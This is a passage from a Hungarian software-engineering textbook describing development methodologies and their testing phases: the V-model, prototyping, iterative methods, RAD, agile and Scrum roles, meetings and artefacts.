működnie a szoftvernek. Ez lesz a rendszerteszt alapja. Ha a funkcionális specifikáció azt írja,
2-4
hogy a „Vásárol gomb megnyomására ki kell írni a kosárban lévő áruk értékét”, akkor a
rendszertesztben lesz egy vagy több teszteset, amely ezt teszteli. Például, ha üres a kosár,
akkor az árnak nullának kell lennie.

Ezután következik a rendszerterv, amely leírja, hogy az egyes funkciókat hogyan, milyen
komponensekkel, osztályokkal, metódusokkal, adatbázissal fogjuk megvalósítani. Ez lesz a
komponens teszt egyik alapja. A rendszerterv leírja tovább, hogy a komponensek hogyan
működnek együtt. Ez lesz az integrációs teszt alapja.

Ezután a rendszertervnek megfelelően következik az implementáció. Minden metódushoz


egy vagy több unit-tesztet kell készíteni. Ezek alapja nem csak az implementáció, hanem a
rendszerterv is. A nagyobb egységeket, osztályokat, al- és főfunkciókat is komponens teszt
alá kell vetni az implementáció és a rendszerterv alapján.

Ha ezen sikeresen túl vagyunk, akkor az integrációs teszt következik a rendszerterv alapján.
Ha itt problémák merülnek fel, akkor visszamegyünk a V betű másik szárára a
rendszertervhez. Megnézzük, hogy a hiba a rendszertervben vagy az implementációban van-
e. Ha kell, megváltoztatjuk a rendszertervet, majd az implementációt is.

Az integrációs teszt után jön a rendszerteszt a funkcionális specifikáció alapján. Hasonlóan,


hiba esetén a V betű másik szárára megyünk, azaz visszalépünk a funkcionális specifikáció
elkészítésére. Majd jön az átvételi teszt a követelmény specifikáció alapján. Remélhetőleg itt
már nem lesz hiba, mert kezdhetnénk az egészet elölről, ami egyenlő a sikertelen projekttel.

Ha a fejlesztés és tesztelés alatt nem változnak a követelmények, akkor ez egy nagyon jó,
kiforrott, támogatott módszertan. Ha valószínű a követelmények változása, akkor inkább
iteratív, vagy még inkább agilis módszert válasszunk.

2.4.1 Prototípus modell


A prototípus modell válasz a vízesés modell sikertelenségére. A fejlesztő cégek rájöttek, hogy
tarthatatlan a vízesés modell megközelítése, hogy a rendszerrel a felhasználó csak a projekt
végén találkozik. Gyakran csak ekkor derült ki, hogy az életciklus elején félreértették egymást
a felek és nem a valós követelményeknek megfelelő rendszer született. Ezt elkerülendő a
prototípus modell azt mondja, hogy a végső átadás előtt több prototípust is szállítsunk le,
hogy mihamarabb kiderüljenek a félreértések, illetve a megrendelő lássa, mit várhat a
rendszertől.

A prototípus alapú megközelítése a fejlesztésnek azon alapszik, hogy a megrendelő üzleti


folyamatai, követelményei nem ismerhetők meg teljesen. Már csak azért sem, mert ezek az
idővel változnak (lásd az agilis módszertanokat). A követelményeket érdemes finomítani
prototípusok segítségével. Ha a felhasználó használatba vesz egy prototípust, akkor képes
megfogalmazni, hogy az miért nem felel meg az elvárásainak és hogyan kellene
megváltoztatni. Ebben a megközelítésben a leszállított rendszer is egy prototípus.

2-5
Ez a megközelítés annyira sikeres volt, hogy a modern módszertanok majd mindegyike
prototípus alapú. Az iteratív módszerek általában minden mérföldkőhöz kötnek egy
prototípust. Az agilis módszertanok akár minden nap új (lásd napi fordítás) prototípust
állítanak elő.

A kezdeti prototípus fejlesztése általában a következő lépésekből áll:

• 1. lépés: Az alap követelmények meghatározása: Olyan alap követelmények


meghatározása, mint a bemeneti és kimeneti adatok. Általában a teljesítményre vagy
a biztonságra vonatkozó követelményekkel nem foglalkozunk.

• 2. lépés: Kezdeti prototípus kifejlesztése: Csak a felhasználói felületeket fejlesztjük le


egy erre alkalmas CASE eszközzel. A mögötte lévő funkciókat nem, kivéve az új
ablakok nyitását.

• 3. lépés: Bemutatás: Ez egyfajta felhasználói átvételi teszt. A végfelhasználók


megvizsgálják a prototípust, és jelzik, hogy mit gondolnak másként, illetve mit
tennének még hozzá.

• 4. lépés. A követelmények pontosítása: A visszajelzéseket felhasználva pontosítjuk a


követelmény specifikációt. Ha még mindig nem elég pontos a specifikáció, akkor a
prototípust továbbfejlesztjük és ugrunk a 3. lépésre. Ha elég pontos képet kaptunk
arról, hogy mit is akar a megrendelő, akkor az egyes módszertanok mást és mást
írnak elő.

2-6
A prototípus készítést akkor a legcélszerűbb használni, ha a rendszer és a felhasználó között
sok lesz a párbeszéd. A modell on-line rendszerek elemzésében és tervezésében nagyon
hatékony, különösen a tranzakció feldolgozásnál. Olyan rendszereknél, ahol kevés interakció
zajlik a rendszer és a felhasználó között, ott kevésbé éri meg a prototípus modell használata,
ilyenek például a számítás igényes feladatok. Különösen jól használható a felhasználói felület
kialakításánál.

A prototípus modell nagyban épít a tesztelésre. Minden prototípust felhasználói átvételi


tesztnek vetnek alá, ami során könnyen kiderül, hogy milyen funkcionális és nemfunkcionális
követelményt nem tart be a prototípus. A korai szakaszban sok unit-tesztet alkalmazunk.
Amikor befejezünk egy újabb prototípust, akkor regressziós teszttel vizsgáljuk meg, hogy ami
az előző prototípusban működött, az továbbiakban is működik-e. Ha az új prototípusban van
új komponens is, akkor a régi és az új komponensek között, illetve az új – új komponensek
között integrációs tesztet kell végrehajtani. A modell későbbi szakaszában, miután már a
követelmény és a funkcionális specifikáció letisztult, egy vízesés modellre hasonlít. Azaz az
implementáció után jön a tesztelés. Ekkor elvégezzük újból komponens és integrációs
teszteket is. Rendszertesztet általában csak a végső prototípus átadás előtt végzünk.

2.4.2 Iteratív és inkrementális módszertanok


Az iteratív módszertan előírja, hogy a fejlesztést, kezdve az igényfelméréstől az
üzemeltetésig, kisebb iterációk sorozatára bontsuk. Eltérően a vízesés modelltől, amelyben
például a tervezés teljesen megelőzni az implementációt, itt minden iterációban van
tervezés és implementációi is. Lehet, hogy valamelyik iterációban az egyik sokkal
hangsúlyosabb, mint a másik, de ez természetes.

A folyamatos finomítás lehetővé teszi, hogy mélyen megértsük a feladatot és felderítsük az


ellentmondásokat. Minden iteráció kiegészíti a már kifejlesztett prototípust. A kiegészítést
inkrementumnak is nevezzük. Azok a módszertanok, amik a folyamatra teszik a hangsúlyt,
azaz az iterációra, azokat iteratív módszertanoknak nevezzük. Azokat, amelyek az iteráció
termékére, az inkrementumra teszik a hangsúlyt, azokat inkrementális módszertanoknak
hívjuk. A mai módszertanok nagy része, kezdve a prototípus modelltől egészen az agilis
modellekig, ebbe a családba tartoznak.

A kiegészítés hozzáadásával növekvő részrendszer jön létre, amelyet tesztelni kell. Az új


kódot unit-teszttel teszteljük. Regressziós teszttel kell ellenőrizni, hogy a régi kód továbbra is
működik-e az új kód hozzáadása és a változások után. Az új és a régi kód együttműködését
integrációs teszttel teszteljük. Ha egy mérföldkőhöz vagy prototípus bemutatáshoz érkezünk,
akkor van felhasználói átvételi teszt is. Egyébként csak egy belső átvételi teszt van az iteráció
végén.

2-7
Ezt a megközelítést több módszertan is alkalmazza, például a prototípus modell, a gyors
alkalmazásfejlesztés (RAD), a Rational Unified Process (RUP) és az agilis fejlesztési modellek.
Itt ezeknek a módszertanoknak a közös részét, az iterációt ismertetjük. Egy iteráció a
következő feladatokból áll:

• Üzleti folyamatok elemzése

• Követelményelemzés

• Elemzés és tervezés

• Implementáció

• Tesztelés

• Értékelés

2-8
Az iteratív modell fő ereje abban rejlik, hogy az életciklus lépései nem egymás után jönnek,
mint a strukturált módszertanok esetén, hanem időben átfedik egymást. Minden iterációban
van elemzés, tervezés, implementáció és tesztelés. Ezért, ha találunk egy félreértést, akkor
nem kell visszalépni, hanem néhány iteráció segítségével oldjuk fel a félreértést. Ez az jelenti,
hogy kevésbé tervezhető a fejlesztés ideje, de jól alkalmazkodik az igények változásához.

Mivel a fejlesztés lépéseit mindig ismételgetjük, ezért azt mondjuk, hogy ezek időben átfedik
egymást, hiszen minden szakaszban minden lépést végre kell hajtani. A kezdeti iterációkban
több az elemzés, a végéhez közeledve egyre több a tesztelés. Már a legelső szakaszban is van
tesztelés, de ekkor még csak a teszttervet készítjük. Már a legelső szakaszban is van
implementáció, de ekkor még csak az architektúra osztályait hozzuk létre. És így tovább.

A feladatot több iterációra bontjuk. Ezeket általában több kisebb csapat implementálja
egymással versengve. Aki gyorsabb, az választhat iterációt a meglévők közül. A választás nem
teljesen szabad, a legnagyobb prioritású feladatok közül kell választani. A prioritás
meghatározása különböző lehet, általában a leggyorsabban megvalósítható és legnagyobb
üzleti értékű, azaz a legnagyobb üzleti megtérüléssel (angolul: return of investment) bíró
feladat a legnagyobb prioritású.

Üzleti folyamatok elemzése: Első lépésben meg kell ismerni a megrendelő üzleti folyamatait.
Az üzleti folyamatok modellezése során fel kell állítani egy projekt fogalomtárat. A
lemodellezett üzleti folyamatokat egyeztetni kell a megrendelővel, hogy ellenőrizzük jól
értjük-e az üzleti logikát. Ezt üzleti elemzők végzik, akik a megrendelők és a fejlesztők fejével
is képesek gondolkozni.

Követelményelemzés: A követelmény elemzés során meghatározzuk a rendszer funkcionális


és nemfunkcionális követelményeit, majd ezekből funkciókat, képernyőterveket készítünk.
Ez a lépés az egész fejlesztés elején nagyon hangsúlyos, hiszen a kezdeti iterációk célja a
követelmények felállítása. Későbbiekben csak a funkcionális terv finomítása a feladata.
Fontos, hogy a követelményeket egyeztessük a megrendelőkkel. Ha a finomítás során
ellentmondást fedezünk fel, akkor érdemes tisztázni a kérdést a megrendelővel.

Elemzés és tervezés: Az elemzés és tervezés során a követelmény elemzés termékeiből


megpróbáljuk elemezni a rendszert és megtervezni azt. A nemfunkcionális
követelményekből lesz az architekturális terv. Az architekturális terv alapján tervezzük az
alrendszereket és a köztük levő kapcsolatokat. Ez a kezdeti iterációk feladata. A funkcionális
követelmények alapján tervezzük meg az osztályokat, metódusokat és az adattáblákat. Ezek
a későbbi iterációk feladatai.

Implementáció: Az implementációs szakaszra ritkán adnak megszorítást az iteratív


módszertanok. Általában a bevett technikák alkalmazását ajánlják, illetve szerepköröket
írnak elő. Pl.: a fejlesztők fejlesztik a rendszert, a fejlesztők szoros kapcsolatban vannak a
tervezőkkel, továbbá van egy kód ellenőr, aki ellenőrzi, hogy a fejlesztők által írt programok

2-9
megfelelnek-e a tervezők által kitalált tervezési és programozási irányelveknek. Ebben a
szakaszban a programozók unit-teszttel biztosítják a kód minőségét.

Tesztelés: A tesztelési szakaszban különböző tesztelési eseteket találunk ki, ezeket unit-
tesztként valósítjuk meg. Itt vizsgáljuk meg, hogy az elkészült kód képes-e együttműködni a
program többi részével, azaz integrációs tesztet hajtunk végre. Regressziós tesztek
segítségével ellenőrizzük, hogy ami eddig kész volt, az nem romlott el. Ehhez lefuttatjuk az
összes unit-tesztet. Rendszerteszt csak a késői tesztelési fázisokban van.

Értékelés: A fejlesztés minden ciklusában el kell dönteni, hogy az elkészült verziót elfogadjuk-
e, vagy sem. Ha nem, akkor újra indul ez az iteráció. Ha igen, vége ennek az iterációnak. Az
így elkészült kódot feltöltjük a verziókövető rendszerbe, hogy a többi csapat is hozzáférjen.
Az értékelés magában foglal egy átvételi tesztet is. Ha a megrendelő nem áll rendelkezésre,
akkor általában a csoportok munkáját összefogó vezető programozó / tervező helyettesíti.
Amennyiben a folyamat során elértünk egy mérföldkőhöz, akkor általában át kell adnunk egy
köztes prototípust is. Ekkor mindig rendelkezésre áll a megrendelő, hogy elvégezzük a
felhasználói átvételi tesztet.

Támogató tevékenységek, napi fordítás: Az iterációktól függetlenül úgynevezett támogató


folyamatok is zajlanak a szoftver cégen belül. Ilyen például a rendszergazdák vagy a
menedzsment tevékenysége. Az iterációk szemszögéből a legfontosabb az úgynevezett a
napi fordítás (daily build). Ez azt jelenti, hogy minden nap végén a verziókövető rendszerben
lévő forráskódot lefordítjuk. Minden csapat igyekszik a meglévő kódhoz igazítani a sajátját,
hogy lehetséges legyen a fordítás. Aki elrontja a napi fordítást, és ezzel nehezíti az összes
csapat következő napi munkáját, az büntetésre számíthat. Ez a cég hagyományaitól függ,
általában egy hétig ő csinálja a napi fordítás és emiatt sokszor sokáig bent kell maradnia.

Végül vagy elérjük azt a pontot, ahol azt mondjuk, hogy ez így nem elkészíthető, vagy azt
mondjuk, hogy minden felmerült igényt kielégít a szoftverünk és szállíthatjuk a
megrendelőnek.

2.4.3 Gyors alkalmazásfejlesztés – RAD


A gyors alkalmazásfejlesztés vagy ismertebb nevén RAD (Rapid Application Development)
egy olyan elgondolás, amelynek lényege a szoftver gyorsabb és jobb minőségű elkészítése.
Ezt a következők által érhetjük el:

• Korai prototípus készítés és ismétlődő felhasználói átvételi tesztek.

• A csapat - megrendelő és a csapaton belüli kommunikációban kevésbé formális.

• Szigorú ütemterv, így az újítások mindig csak a termék következő verziójában


jelennek meg.

• Követelmények összegyűjtése fókusz csoportok és munkaértekezletek használatával.

2-10
• Komponensek újrahasznosítása.

Ezekhez a folyamatokhoz több szoftvergyártó is készített segédeszközöket, melyek részben


vagy egészben lefedik a fejlesztés fázisait, mint például:

• követelmény összegyűjtő eszközök,

• tervezést segítő eszközök,

• prototípus készítő eszközök,

csapatok kommunikációját segítő eszközök.

A RAD elsősorban az objektumorientált programozással kacsolódik össze, már csak a


komponensek újrahasznosítása okán is. Összehasonlítva a hagyományos fejlesztési
metódusokkal (pl.: vízesés modell), ahol az egyes fejlesztési fázisok jól elkülönülnek
egymástól, a RAD sokkal rugalmasabban. Gyakori probléma, hogy a tervezésbe hiba csúszik,
és az csak a megvalósítási vagy a tesztelési fázisban jön elő, ráadásul az elemzés és a
tesztelési fázis között hat-hét hónap is eltelhet. Vagy ha menetközbe megváltoznak az üzleti
körülmények, és már a megvalósítási fázisban járunk, vagy csak rájöttek a megrendelők,
hogy valamit mégis másképpen szeretnének, akkor szintén gondban vagyunk. A RAD válasza
ezekre a problémákra a gyorsaság. Ha gyorsan hozzuk létre a rendszert, akkor ezen rövid idő
alatt nem változnak a követelmények, az elemzés és tesztelés között nem hat-hét hónap,
hanem csak hat-hét hét telik el.

A gyorsaság eléréséhez sok meglévő komponenst kell felhasználni, amit a csapatnak jól kell
ismernie. A komponensek lehetnek saját fejlesztésűek vagy megvásároltak. Komponenst
vásárolni nagy kockázat, mert ha hiba van benne, azt nem tudjuk javítani, ha nem kapjuk
meg a forrást, de még úgy is nagyon nehéz. Ezért a komponens gyártók nagyon alaposan
tesztelik terméküket.

A RAD az elemzést, a tervezést, a megvalósítást, és a tesztelést rövid, ismétlődő ciklusok


sorozatába tömöríti, és ennek sok előnye van a hagyományos modellekkel szemben. A
fejlesztés során általában kis csoportokat hoznak létre fejlesztőkből, végfelhasználókból, ez
az úgynevezett fókusz csoport. Ezek a csapatok az ismétlődő, rövid ciklusokkal vegyítve
hatékonyabbá teszik a kommunikációt, optimalizálják a fejlesztési sebességet, egységesítik
az elképzeléseket és célokat, valamint leegyszerűsítik a folyamat felügyeletét.

Öt fejlesztési lépés a RAD-ban:

• Üzleti modellezés: Az üzleti funkciók közötti információ áramlást olyan kérdések


feltevésével tudjuk felderíteni, mint hogy milyen információk keletkeznek, ezeket ki
állítja elő, az üzleti folyamatot milyen információk irányítják, vagy hogy ki irányítja.

• Adat modellezés: Az üzleti modellezéssel összegyűjtöttük a szükséges adatokat,

2-11
melyekből adat objektumokat hozunk létre. Beazonosítjuk az attribútumokat és a
kapcsolatokat az adatok között.

• Folyamat modellezés: Az előzőleg létrehozott adatmodellhez szükséges műveletek


(bővítés, törlés, módosítás) meghatározása, úgy hogy létrehozzuk a kellő
információáramlást az üzleti funkciók számára.

• Alkalmazás előállítása: A szoftver előállításának megkönnyítése automatikus


eszközökkel.

• Tesztelés: Az új programkomponensek tesztelése, a már korábban tesztelt


komponenseket már nem szükséges újra vizsgálni. Ez gyorsítja a folyamatot.

Hátránya, hogy magasan képzett fejlesztőkre van szükség, emellett fontos a fejlesztők és a
végfelhasználók elkötelezettsége a sikeres szoftver iránt. Ha a projekt nehezen bontható fel
modulokra, akkor nem a legjobb választás a RAD. Nagyobb rendszerek fejlesztése ezzel a
módszertannal kockázatos.

2.4.4 Agilis szoftverfejlesztés


Az agilis szoftverfejlesztés valójában iteratív szoftverfejlesztési módszerek egy csoportjára
utal, amelyet 2001-ben az Agile Manifesto nevű kiadványban öntöttek formába. Az agilis
fejlesztési módszerek (nevezik adaptívnak is) egyik fontos jellemzője, hogy a résztvevők,
amennyire lehetséges megpróbálnak alkalmazkodni a projekthez. Ezért fontos például, hogy
a fejlesztők folyamatosan tanuljanak.

Az agilis szoftverfejlesztés szerint értékesebbek:

• az egyének és interaktivitás szemben a folyamatokkal és az eszközökkel,

• a működő szoftver szemben a terjedelmes dokumentációval,

• az együttműködés a megrendelővel szemben a szerződéses tárgyalásokkal,

• az alkalmazkodás a változásokhoz szemben a terv követésével.

2-12
Az agilis szoftverfejlesztés alapelvei:

• A legfontosabb a megrendelő kielégítése használható szoftver gyors és folyamatos


átadásával.

• Még a követelmények kései változtatása sem okoz problémát.

• A működő szoftver / prototípus átadása rendszeresen, a lehető legrövidebb időn


belül.

• Napi együttműködés a megrendelő és a fejlesztők között.

• A projektek motivált egyének köré épülnek, akik megkapják a szükséges eszközöket


és támogatást a legjobb munkavégzéshez.

• A leghatékonyabb kommunikáció a szemtől-szembeni megbeszélés.

• Az előrehaladás alapja a működő szoftver.

• Az agilis folyamatok általi fenntartható fejlesztés állandó ütemben.

• Folyamatos figyelem a technikai kitűnőségnek.

• Egyszerűség, a minél nagyobb hatékonyságért.

• Önszervező csapatok készítik a legjobb terveket.

• Rendszeres időközönként a csapatok reagálnak a változásokra, hogy még


hatékonyabbak legyenek.

Az agilis szoftverfejlesztésnek nagyon sok fajtája van. Ebben a jegyzetben csak ezt a kettőt
tárgyaljuk:

• Scrum

• Extrém Programozás (XP)

Ezek a következő közös jellemzőkkel bírnak:

• Kevesebb dokumentáció.

• Növekvő rugalmasság, csökkenő kockázat.

• Könnyebb kommunikáció, javuló együttműködés.

• A megrendelő bevonása a fejlesztésbe.

Kevesebb dokumentáció: Az agilis metódusok alapvető különbsége a hagyományosakhoz


képest, hogy a projektet apró részekre bontják, és mindig egy kisebb darabot tesznek hozzá

2-13
a termékhez, ezeket egytől négy hétig terjedő ciklusokban (más néven keretekben vagy
idődobozokban) készítik el, és ezek a ciklusok ismétlődnek. Ezáltal nincs olyan jellegű
részletes hosszú távú tervezés, mint például a vízeséses modellnél, csak az a minimális, amire
az adott ciklusban szükség van. Ez abból az elvből indul ki, hogy nem lehet előre tökéletesen,
minden részletre kiterjedően megtervezni egy szoftvert, mert vagy a tervben lesz hiba, vagy
a megrendelő változtat valamit.

Növekvő rugalmasság, csökkenő kockázat: Az agilis módszerek a változásokhoz adaptálható


technikákat helyezik előnybe a jól tervezhető technikákkal szemben. Ennek megfelelően
iterációkat használnak. Egy iteráció olyan, mint egy hagyományos életciklus: tartalmazza a
tervezést, a követelmények elemzését, a kódolást, és a tesztelést. Egy iteráció maximum egy
hónap terjedelmű, így nő a rugalmasság, valamint csökken a kockázat, hiszen az iteráció
végén átvételi teszt van, ami után megrendelő megváltoztathatja eddigi követelményeit.
Minden iteráció végén futóképes változatot kell kiadniuk a csapatoknak a kezükből.

Könnyebb kommunikáció, javuló együttműködés: Jellemző, hogy a fejlesztő csoportok


önszervezőek, és általában nem egy feladatra specializálódottak a tagok, hanem többféle
szakterületről kerülnek egy csapatba, így például programozok és tesztelők. Ezek a csapatok
ideális esetben egy helyen, egy irodában dolgoznak, a csapatok mérete ideális esetben 5-9
fő. Mindez leegyszerűsíti a tagok közötti kommunikációt és segíti a csapaton belüli
együttműködést. Az agilis módszerek előnyben részesítik a szemtől szembe folytatott
kommunikációt az írásban folytatott eszmecserével szemben.

A megrendelő bevonása a fejlesztésbe: Vagy személyesen a megrendelő vagy egy kijelölt


személy, aki elkötelezi magát a termék elkészítése mellett, folyamatosan a fejlesztők
rendelkezésére áll, hogy a menet közben felmerülő kérdéseket minél hamarabb meg tudja
válaszolni. Ez a személy a ciklus végén is részt vesz az elkészült prototípus kiértékelésében.
Fontos feladata az elkészítendő funkciók fontossági sorrendjének felállítása azok üzleti
értéke alapján. Az üzleti értékből és a fejlesztő csapat által becsült fejlesztési időből
számolható a befektetés megtérülése (Return of Investment, ROI). A befektetés megtérülése
az üzleti érték és a fejlesztési idő hányadosa.

Az agilis módszertanok nagyon jól működnek, amíg a feladatot egy közepes méretű (5-9 fős)
csapat képes megoldani. Nagyobb csoportok esetén nehéz a csapat szellem kialakítása. Ha
több csoport dolgozik ugyanazon a célon, akkor köztük a kommunikáció nehézkes. Ha
megrendelő nem hajlandó egy elkötelezett munkatársát a fejlesztő csapat rendelkezésére
bocsátani, akkor az kiváltható egy üzleti elemzővel, aki átlátja a megrendelő üzleti
folyamatait, de ez kockázatos.

2.4.5 Scrum
A Scrum egy agilis szoftverfejlesztési metódus. Jellegzetessége, hogy fogalmait az amerikai
futballból, más néven rugby, meríti. Ilyen fogalom, maga a Scrum is, amely dulakodást jelent.
A módszertan jelentős szerepet tulajdonít a csoporton belüli összetartásnak. A csoporton

2-14
belül sok a találkozó, a kommunikáció, lehetőség van a gondok megbeszélésre is. Az ajánlás
szerint jó, ha a csapat egy helyen dolgozik és szóban kommunikál.

A Scrum által előírt fejlesztési folyamat röviden így foglalható össze: A Product Owner
létrehoz egy Product Backlog-ot, amelyre a teendőket felhasználói sztoriként veszi fel. A
sztorikat prioritással kell ellátni és megmondani, mi az üzleti értékük. Ez a Product Owner
feladata. A Sprint Planning Meetingen a csapat tagjai megbeszélik, hogy mely sztorik
megvalósítását vállalják el, lehetőleg a legnagyobb prioritásúakat. Ehhez a sztorikat kisebb
feladatokra bontják, hogy megbecsülhessék mennyi ideig tart megvalósítani azokat. Ezután
jön a sprint, ami 2-4 hétig tart. A sprint időtartamát az elején fixálja a csapat, ettől eltérni
nem lehet. Ha nem sikerül befejezni az adott időtartam alatt, akkor sikertelen a sprint, ami
büntetést, általában prémium megvonást, von maga után. A sprinten belül a csapat és a
Scrum Master naponta megbeszélik a történteket a Daily Meetingen. Itt mindenki elmondja,
hogy mit csinált, mi lesz a következő feladata, és milyen akadályokba (impediment) ütközött.
A sprint végén következik a Sprint Review, ahol a csapat bemutatja a sprint alatt elkészült
sztorikat. Ezeket vagy elfogadják, vagy nem. Majd a Sprint Retrospective találkozó
következik, ahol a Sprint során felmerült problémákat tárgyalja át a csapat. A megoldásra
konkrét javaslatokat kell tenni. Ezek után újra a Sprint Planning Meeting következik. A
fejlesztett termék az előtt piacra kerülhet, hogy minden sztorit megvalósítottak volna.

A csapatban minden szerepkör képviselője megtalálható, így van benne fejlesztő és tesztelő
is. Téves azt gondolni, hogy a sprint elején a tesztelő is programot ír, hiszen, amíg nincs
program, nincs mit tesztelni. Ezzel szemben a tesztelő a sprint elején a tesztelő a teszttervet
készít, majd kidolgozza a teszteseteket, végül, amikor már vannak kész osztályok, unit-
teszteket ír, a változásokat regressziós teszttel ellenőrzi.

A Scrum, mint minden agilis módszertan, arra épít, hogy a fejlesztés közben a megrendelő
igényei változhatnak. A változásokhoz úgy alkalmazkodik, a Product Backlog folyamatosan
változhat. Az erre épülő dokumentumok folyamatosan finomodnak, tehát könnyen
változtathatók. A csapatok gyorsan megvalósítják a szükséges változásokat.

A Scrum tökélyre viszi az egy csapaton belüli hatékonyságot. Ha több csapat is dolgozik egy
fejlesztésen, akkor köztük lehetnek kommunikációs zavarok, ami a módszertan egyik
hátránya.

2-15
A Scrum két nagyon fontos fogalma a sprint és az akadály.

Sprint (vagy futam): Egy előre megbeszélt hosszúságú fejlesztési időszak, általában 2-4 hétig
tart, kezdődik a Sprint Planning-gel, majd a Retrospective-vel zárul. Ez a Scrum úgynevezett
iterációs ciklusa, addig kell ismételni, amíg a Product Backlog-ról el nem tűnnek a
megoldásra váró felhasználói sztorik. Alapelv, hogy minden sprint végére egy potenciálisan
leszállítható szoftvert kell előállítani a csapatnak, azaz egy prototípust. A sprint tekinthető
két mérföldkő közti munkának.

Akadály (Impediment): Olyan gátló tényező, amely a munkát hátráltatja. Csak és kizárólag
munkahelyi probléma tekinthető akadálynak. A csapattagok magánéleti problémái nem
azok. Akadály például, hogy lejárt az egyik szoftver licence, vagy szükség lenne egy plusz
gépre a gyorsabb haladáshoz, vagy több memóriára az egyik gépbe, vagy akár az is lehet,
hogy 2 tag megsértődött egymásra. Ilyenkor kell a Scrum Masternek elhárítani az
akadályokat, hogy a munka minél gördülékenyebb legyen.

A módszertan szerepköröket, megbeszéléseket és elkészítendő termékeket ír elő.

Szerepkörök
A módszertan kétféle szerepkört különböztet meg, ezek a disznók és a csirkék. A
megkülönböztetés alapja egy vicc:

A disznó és a csirke mennek az utcán. Egyszer csak a csirke megszólal: „Te, nyissunk egy
éttermet!” Mire a disznó: „Jó ötlet, mi legyen a neve?” A csirke gondolkozik, majd rávágja:
„Nevezzük Sonkástojásnak!” A disznó erre: „Nem tetszik valahogy, mert én biztosan mindent
beleadnék, te meg éppen csak hogy részt vennél benne.”

A disznók azok, akik elkötelezettek a szoftver projekt sikerében. Ők azok, akik a „vérüket”
adják a projekt sikeréért, azaz felelősséget vállalnak érte. A csirkék is érdekeltek a projekt
sikerében, ők a haszonélvezői a sikernek, de ha esetleg mégse sikeres a projekt, akkor az
nem az ő felelősségük.

2-16
Disznók:

• Scrum mester (Scrum Master)

• Terméktulajdonos (Product Owner)

• Csapat (Team)

Csirkék:

• Üzleti szereplők (Stakeholders)

• Menedzsment (Managers)

Scrum mester (Scrum Master): A Scrum mester felügyeli és megkönnyíti a folyamat


fenntartását, segíti a csapatot, ha problémába ütközik, illetve felügyeli, hogy mindenki
betartja-e a Scrum alapvető szabályait. Ilyen például, hogy a Sprint időtartama nem térhet el
az előre megbeszélttől, még akkor sem, ha az elvállalt munka nem lesz kész. Akkor is nemet
kell mondania, ha a Product Owner a sprint közben azt találja ki, hogy az egyik sztorit, amit
nem vállaltak be az adott időszakra, el kellene készíteni, mert mondjuk megváltoztak az
üzleti körülmények. Lényegében ő a projekt menedzser.

Termék tulajdonos (Product Owner): A megrendelő szerepét tölti be, ő a felelős azért, hogy a
csapat mindig azt a részét fejlessze a terméknek, amely éppen a legfontosabb, vagyis a
felhasználói sztorik fontossági sorrendbe állítása a feladata a Product Backlog-ban. A Product
Owner és a Scrum Master nem lehet ugyanaz a személy.

Csapat (Team): Ők a felelősek azért, hogy az aktuális sprintre bevállalt feladatokat


elvégezzék, ideális esetben 5-9 fő alkot egy csapatot. A csapatban helyet kapnak a fejlesztők,
tesztelők, elemzők. Így nem a váltófutásra jellemző stafétaváltás (mint a vízesés modellnél),
hanem a futballra emlékeztető passzolgatás, azaz igazi csapatjáték jellemzi a csapatot.

Üzleti szereplők, pl.: megrendelők, forgalmazók (Stakeholders, i.e., customers, vendors): A


megrendelő által jön létre a projekt, ő az, aki majd a hasznát látja a termék elkészítésének, a
Sprint Review során kap szerepet a folyamatban.

Menedzsment (Managers): A menedzsment feladata a megfelelő környezet felállítása a


csapatok számára. Általában a megfelelő környezeten túl a lehető legjobb környezet
felállítására törekszenek.

Megbeszélések
Sprint Planning Meeting (futamtervező megbeszélés): Ezen a találkozón kell megbeszélni,
hogy ki mennyi munkát tud elvállalni, majd ennek tudatában dönti el a csapat, hogy mely
sztorikat vállalja be a következő sprintre. Emellett a másik lényeges dolog, hogy a csapat a
Product Owner-rel megbeszéli, majd teljes mértékben megérti, hogy a vevő mit szeretne az
adott sztoritól, így elkerülhetőek az esetleges félreértésekből adódó problémák. Ha volt

2-17
Backlog Grooming, akkor nem tart olyan sokáig a Planning, ugyanis a csapat ismeri a Backlog-
ot, azon nem szükséges finomítani, hacsak a megrendelőtől nem érkezik ilyen igény. A
harmadik dolog, amit meg kell vizsgálni, hogy a csapat hogyan teljesített az előző sprintben,
vagyis túlvállalta-e magát vagy sem. Ha túl sok sztorit vállaltak el, akkor le kell vonni a
következtetést, és a következő sprintre kevesebbet vállalni. Ez a probléma leginkább az új,
kevéssé összeszokott csapatokra jellemző, ahol még nem tudni, hogy mennyi munkát bír
elvégezni a csapat. Ellenkező esetben, ha alulvállalta magát egy csapat, akkor
értelemszerűen többet vállaljon, illetve, ha ideális volt az előző sprint, akkor hasonló
mennyiség a javasolt.

Backlog Grooming/Backlog Refinement: A Product Backlog finomítása a Teammel együtt,


előfordulhat például, hogy egy taszk túl nagy, így story lesz belőle, és utána taszkokra bontva
lesz feldolgozva. Ha elmarad, akkor a Sprint Planning hosszúra nyúlhat, valamint abban is
nagy segítség, hogy a csapat tökéletesen megértse, hogy mit szeretne a megrendelő.

Daily Meeting/Daily Scrum: A sprint ideje alatt minden nap kell tartani egy rövid
megbeszélést, ami maximum 15 perc, és egy előre megbeszélt időpontban, a csapattagok és
a Scrum Master jelenlétében történik (mások is ott lehetnek, de nem szólhatnak bele).
Érdekesség, hogy nem szabad leülni, mindenki áll, ezzel is jelezve, hogy ez egy rövid
találkozó. Három kérdésre kell válaszolnia a csapat tagjainak, ezek a következőek:

• Mit csináltál a tegnapi megbeszélés óta?

• Mit fogsz csinálni a következő megbeszélésig?

• Milyen akadályokba ütköztél az adott feladat megoldása során?

Sprint Review Meeting (Futam áttekintés): Minden sprint végén összeülnek a szereplők, és
megnézik, hogy melyek azok a sztorik, amelyeket sikerült elkészíteni, illetve az megfelel-e a
követelményeknek. Ekkor a sztori állapotát készre állítják. Fontos, hogy egy sztori csak akkor
kerülhet ebbe az állapotba, ha minden taszkja elkészült, és a Review-on elfogadták. Ezen a
megrendelő is jelen van.

Sprint Retrospective (Visszatekintés): Ez az egyik legfontosabb meeting. A Scrum egyik


legfontosabb funkciója, hogy felszínre hozza azokat a problémákat, amelyek hátráltatják a
fejlesztőket a feladatmegoldásban, így ha ezeket az akadályokat megoldjuk, a csapat jobban
tud majd alkalmazkodni a következő sprint alatt a feladathoz. Problémák a Daily Meetingen
is előkerülnek, de ott inkább a személyeket érintő kérdések vannak napirenden, míg itt a
csapatmunka továbbfejlesztése az elsődleges.

Termékek
Product Backlog (termék teendő lista): Ez az a dokumentum, ahol a Product Owner elhelyezi
